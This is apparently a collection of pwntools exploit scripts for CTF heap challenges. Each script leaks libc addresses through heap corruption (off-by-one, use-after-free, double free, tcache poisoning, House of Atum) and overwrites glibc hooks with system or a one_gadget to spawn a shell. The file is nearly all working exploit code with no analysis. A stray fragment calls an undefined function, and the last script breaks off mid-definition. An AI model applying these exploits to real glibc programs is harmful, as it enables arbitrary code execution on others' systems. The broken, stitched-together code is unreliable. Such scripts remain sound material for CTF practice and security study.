#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1' 
port = 10000
context.log_level = 'debug'
context.terminal =  ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = '/tmp/tmp.9suWrZDsPa/babyheap'
# Load it if has exe
try:
    context.binary = exe
    elf = ELF(exe)
except Exception as e:
    print("Elf can't be load")

# load libc 
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
    io = process(exe)
else:
    io = remote(host,port, timeout=10)
#don't forget to change it
s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        ga('b *{}'.format(hex(text_base+addr)))
    else:
        ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
    # Arch:     amd64-64-little
    # RELRO:    Full RELRO
    # Stack:    Canary found
    # NX:       NX enabled
    # PIE:      PIE enabled

def c(idx):
    sla("Command: ", idx)

def new(size):
    c(1)
    sla("Size: ", size)

def update(idx, size, content):
    c(2)
    sla("Index: ", idx)
    sla("Size: ", size)
    sla("Content: ", content)

def show(idx):
    c(4)
    sla("Index: ", idx)

def delete(idx):
    c(3)
    sla("Index: ", idx)



def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    #start 
    
    # first leak libc
    new(0x48) # 0
    new(0x48) # 1
    new(0x48) # 2
    new(0x48) # 3
    update(0, 0x49, "a"*0x48 + '\xa1') # 0x50+0x50=0xa0，为了刚好让其重叠
    delete(1)
    new(0x48) # 1
    show(2)
    ru("Chunk[2]: ")
    addr = uu64(r(6))
    
    main_arena = addr - 88
    lg("main_arena", main_arena)
    libc.address = addr - 0x3c4b78
    lg("libc_base", libc.address)
    new(0x48) #4
    new(0x50) #5 这里用来错位伪造的
    delete(5)
    delete(1) 
    delete(2) # 通过修改4可以修改2的fd
    
    update(4, 0x9, p64(main_arena+37))
    new(0x48) #1
    new(0x48) #2
    # 这里已经申请到main_arena处地址了，接下来就要修改top chunk了
    # 88-37+0x10因为堆头占0x10
    update(2, 0x2c, "\x00" *0x23 + p64(main_arena-0x38))
    new(0x38) #5
    # 修改realloc_hook
    update(5, 0x20, "a"*0x10 + p64(libc.address + one_gadget[1])*2)
    new(0x10)
    ga()
    ia()
if __name__ == '__main__':
    exp(host,True)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1' 
port = 10000
context.log_level = 'debug'
context.terminal =  ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = '/tmp/tmp.ugue2H5ck0/babyheap1804'
# Load it if has exe
try:
    context.binary = exe
    elf = ELF(exe)
except Exception as e:
    print("Elf can't be load")

# load libc 
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
    io = process(exe)
else:
    io = remote(host,port, timeout=10)
#don't forget to change it
s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        ga('b *{}'.format(hex(text_base+addr)))
    else:
        ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
    # Arch:     amd64-64-little
    # RELRO:    Full RELRO
    # Stack:    Canary found
    # NX:       NX enabled
    # PIE:      PIE enabled

def c(idx):
    sla("Command: ", idx)

def new(size):
    c(1)
    sla("Size: ", size)

def update(idx, size, content):
    c(2)
    sla("Index: ", idx)
    sla("Size: ", size)
    sla("Content: ", content)

def show(idx):
    c(4)
    sla("Index: ", idx)

def delete(idx):
    c(3)
    sla("Index: ", idx)

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    #start here
    for i in xrange(8):
        new(0x18)
    for i in range(7)[::-1]:
        update(i, 0x19, 'a'*0x18+'\xf1')
        delete(i+1)
    new(0x18) #1
    new(0x18) #2
    new(0x58) #3
    new(0x58) #4 这三个是为0xf1做准备的
    new(0x58) #5
    new(0x18) #6
    new(0x18) #7
    update(1, 0x19, 'a'*0x18 + '\x31')
    delete(2)
    new(0x28) #2
    update(2, 0x19, 'a'*0x10 + p64(0)+ '\xf1')
    # malloc.c #1402 这里是报错
    # malloc.c #4276 这里检测
    # malloc.c #4299 这里调用
    update(5, 0x50, flat([0, 0, 0, 0, 0xf0, 0x21, 0, 0, 0, 0x21]))
    delete(3) #3 未使用
    show(2)
    ru('\x00'*7)
    ru('\x00'*7)
    addr = uu64(r(6))
    lg("addr", addr)
    libc.address = addr - 0x3ebca0

    # tcache 攻击
    update(5, 0x59, 'a'*0x58 + '\x31')
    #delete(1)
    delete(6)
    delete(7)
    new(0x28) #3
    update(3, 0x28, flat([0, 0, 0, 0, libc.symbols['__free_hook']]))
    new(0x18) #6
    new(0x18) #7
    update(0, 0x8, "/bin/sh\x00")
    update(7, 0x8, p64(libc.symbols['system']))
    delete(0)
    ia()
if __name__ == '__main__':
    exp(host,)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1' 
port = 10000
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './babyheap_0ctf_2017'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

def c(idx):
    sla(': ', idx)

def new(size):
    c(1)
    sla(": ", size)

def edit(idx, size, content):
    c(2)
    sla(": ", idx)
    sla(": ", size)
    sla(": ", content.ljust(size,'a'))

def show(idx):
    c(4)
    sla(": ", idx)

def delete(idx):
    c(3)
    sla(": ", idx)

def get_libc(idx):
    show(idx)
    rl()
    return uu64(r(6))

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    
    new(0x10) #0
    new(0x68) #1
    new(0x68) #2
    new(0x68) #3
    new(0x40) #4
    edit(0, 0x19, flat([p64(0)*3+ '\xe1']))
    delete(1)
    new(0x68) #1
    libc.address = get_libc(2) - 0x3c4b20 - 88
    lg("libc", libc.address)
    
    new(0x68) #5--2
    delete(3)
    delete(2)
    edit(5, 0x10, p64(libc.sym['__malloc_hook']-0x23))
    new(0x68) #2
    new(0x68) #3
    edit(3, 0x13+8, 'a'*0x13 + p64(libc.address + one_gadget[1]))
    new(0x68)
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,True)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1' 
port = 10000
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './asvdb'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x3ff000)
def c(idx):
      sla("> ", idx)
  
def new(length, description, title="1",year="1", idx="1", severity="1"):
    c(1)
    sla("Enter year: ", year)
    sla("Enter id: ", idx)
    if len(title) == 63:
        sa("Enter title (Up to 64 chars): ", title)
    else:
        sla("Enter title (Up to 64 chars): ", title)
    sla("Enter description size: ", length)
    if length == 0:
        pass
    elif len(description) >= length-1:
        sa("Enter description: ", description)
    else:
        sla("Enter description: ", description)
    sla("): ", severity)
 
def show(idx):
    c(4)
    sla("Enter bug index: ", idx)
 
def free(idx):
    c(3)
    sla("Enter bug index: ", idx)
 
def get_heap(idx):
    show(idx)
    ru("Description: ")
    return uu64(rl())

def get_libc(idx):
    show(idx)
    ru("title: ")
    return uu64(r(6))

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    new(0x10,"0") #0
    new(0x10,"1") #1
    new(0x60,"2") #2
    
    # uaf
    free(1)
    free(0)
    new(0x0, '') #0
    heap = get_heap(0)-0x3b0
    lg("heap", heap)
    
    # double free
    free(0)
    new(0x10, p64(heap+0x3d0)) #0
    new(0x10, p64(0)) #1
    new(0x18, p64(0) + p64(elf.got['puts'])) #3
    libc.address = get_libc(2) - libc.sym['puts']
    lg("libc", libc.address)
    
    # double free
    free(1)
    free(0)
    new(0x0,'')
    free(0)
    ga()
    new(0x10, p64(libc.sym['__free_hook'])) #0
    new(0x10, 'sh\x00') # 1
    new(0x10, p64(libc.sym['system'])) #4
    free(1)

    
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("subprocess not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1' 
port = 10000
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './memo'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
def c(idx):
    sla("> ", idx)

def new(size, content):
    c(1)
    sla(": ", size)
    if len(content) == size:
        sa(": ", content)
    else:
        sla(": ", content)

def edit(idx, content):
    c(2)
    sla(": ", idx)
    sla(": ", content)

def show(idx):
    c(4)
    sla(": ", idx)

def delete(idx):
    c(3)
    sla(": ", idx)

def get_libc(idx):
    show(idx)
    ru("content: ")
    return uu64(r(6))

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    for i in range(6):
        new(0xf0, str(i)*0xf0)
    new(0x4f0, '6'*0x4f0)
    new(0x30, '7'*0x30)
    new(0x4f0, '8'*0x4f0)
    new(0xf0, '9'*0xf0)

    for i in range(6):
        delete(i)
    delete(9)
    delete(6)
    delete(7)

    new(0x38, "0"*0x30 + p64(0x540)) #0
    delete(8)
    new(0x4f0, '1'*0x4f0) #1
    libc.address = get_libc(0) - 0x3ebca0
    lg("libc", libc.address)
    
    new(0x68, "2222") #2 -- 0
    delete(0)
    edit(2, p64(libc.sym['__free_hook']))
    new(0x68, '/bin/sh\x00') #0
    new(0x68, p64(libc.address + one_gadget[1]))#3
    delete(0)
    #ga()
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("subprocess not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,True)

    new("1") #0
    new("1") #1
    delete(1, 'y')
    delete(0, 'y')
    new("1") #0
    show(0)
    ru('tent:')
    heap_addr = uu64(r(6)) - 0x231
    lg("heap", heap_addr)

    delete(0, 'y')
    payload = flat([
        p64(0)*7,
        p64(0x61),
        p64(heap_addr + 0x68),
    ])
    new(payload) #0
    new("123") #1

    new(payload) #0
    new("123") #1
    for i in range(7):
        delete(0, 'n')
    delete(1, 'y')
    delete(0, 'y')
    new("123") # a--0
    new("123") # b--1

    delete(1, 'y') 
    new(p64(0))

    edit(0, p64(0)*3 + p64(0xa1)) # for unsortedbin
    delete(0,'y')

    # fill the 0x50, tcache
    edit(1,p64(0))
    new("123")
    delete(0,'y')
    edit(1,p64(0))
    # spray a couple of 0x21's to bypass _int_free's checks
    # see https://github.com/str8outtaheap/heapwn/blob/master/malloc/_int_free.c#L59
    new(p64(0x21)*9)
    delete(0,'y')
    
    # fill the 0xa0 tcache
    edit(1,p64(heap_addr+0x280))
    new("123")
    for i in range(0x7):
        delete(0,'n')
    # get unsortedbin
    delete(0,'y')
    # leak address
    edit(1,p64(heap_addr+0x260))
    new("A"*0x20)
    show(0)
    ru("A"*0x20)
    libc_addr=raddr()-0x3ebca0
    lg("Libc address",libc_addr)
    libc.address=libc_addr
    delete(0,'y')

    # modify __delete_hook
    edit(1,p64(libc.symbols['__free_hook']))
    new(p64(libc.symbols['system']))
    edit(1,'/bin/sh\x00')
    sla("choice:",str(3))
    sla(":",str(1))

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './houseofAtum'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla(":", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def new(content):
    sa(":", content)

@choice(idx=2)
def edit(idx, content):
    sla(":", idx)
    sa(":", content)

@choice(idx=3)
def delete(idx, choice):
    sla(":", idx)
    sla(":", choice)

@choice(idx=4)
def show(idx):
    sla(":",  idx)

def get_heap(idx):
    show(idx)
    ru("Content:")
    return uu64(r(6)) 

def get_libc(idx):
    show(idx)
    ru("A"*0x20)
    return uu64(r(6))

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    
    # first leak heap addr
    new("0")
    new("1")
    delete(1, 'y')
    delete(0, 'y')
    new("0")
    heap_addr = get_heap(0) - 0x230
    link_0x50_start = heap_addr + 0x68
    chunk_0xa0 = heap_addr + 0x280
    lg("heap", heap_addr)
    payload = flat([
        p64(0)*7,
        p64(0x61),
        p64(link_0x50_start)
    ])
    edit(0, payload)
    delete(0, 'y')

    # second get pointer
    new("0")
    new("1")
    for i in range(7):
        delete(0, 'n')
    delete(1, 'y')
    delete(0, 'y')
    
    new("1") #0
    new("2") #1
    delete(1, 'y') # free fake
    # here we can get any address write
    #edit the 0xa1,so can get libc
    new(p64(0)) #1 save change any address to write
    payload = flat([
        p64(0)*3,
        p64(0xa1)
    ])
    # add a new chunk to fill space
    edit(0, payload)
    delete(0, 'y')
    edit(1, p64(0))

    new("0")
    delete(0, 'y')
    edit(1, p64(0))

    # spray a couple of 0x21's to bypass _int_free's checks
    # see https://github.com/str8outtaheap/heapwn/blob/master/malloc/_int_free.c#L59
    payload = flat([
        p64(0x21)*9
    ])
    new(payload)
    delete(0, 'y')

    # fill the 0xa0 tcache
    edit(1, p64(chunk_0xa0))
    new("0")
    for i in range(7):
        delete(0, 'n')
    # get unsortedbin
    delete(0, 'y')
    # leak address
    edit(1, p64(heap_addr+0x260))
    new("A"*0x20)
    libc.address = get_libc(0)-96-0x3ebc40
    lg("libc", libc.address)
    delete(0, 'y')

    edit(1, p64(libc.sym['__free_hook']))
    new(p64(libc.sym['system']))
    ga()
    edit(1, "/bin/sh\x00")
    sl("3")
    sl("1")
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './memo'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x3ff000)

def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla("exit\n", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def show():
    pass

@choice(idx=2)
def edit(content):
    sla("page:", content)

@choice(idx=3)
def tear(size, content):
    sla("(bytes):\n", size)
    sla("page:\n", content)

@choice(idx=4)
def change_name(name):
    sla("name:\n", name)

@choice(idx=5)
def change_title(data):
    sla("title:\n", data)

def get_libc():
    show()
    rl()
    return uu64(rl())

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    ptr = 0x602040
    page_content = 0x602038
    payload = flat([
        p64(0),
        p64(8),
        p64(ptr-0x18),
        p64(ptr-0x10),
        p64(0x20),
        p64(0x40),
    ])
    change_name(payload)
    payload = flat([
        p64(0)*6,
        p64(0),
        p64(0x21),
        p64(0)*2,
        p64(0),
        p64(0x21),
    ])
    edit(payload)
    tear(0x400, "1")
    tear(0x100, "2")
    # 0
    # -- ptr--edit function
    # -- array_602040--change_name
    # -- count-- edit_length
    payload = flat([
        p64(0)*2,
        p64(elf.got['atoi']),
        p64(page_content),
    ])
    change_name(payload)
    libc.address = get_libc() -  libc.sym['atoi']
    lg("libc", libc.address)
    #change page count
    change_name(p64(0x602050) + p64(page_content))
    edit(p64(0))
    #change_ptr
    change_name(p64(libc.sym['__realloc_hook']) + p64(page_content))
    edit(p64(libc.sym['system']))
    change_name(p64(libc.search("/bin/sh").next()))
    sl("3")
    sl(0x100)
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './three'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla(":", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def new(content):
    sa(":", content)

@choice(idx=2)
def edit(idx, content):
    sla(":", idx)
    sa(":", content)

@choice(idx=3)
def delete(idx, choice):
    sla(":", idx)
    sla(":", choice)

@choice(idx=4)
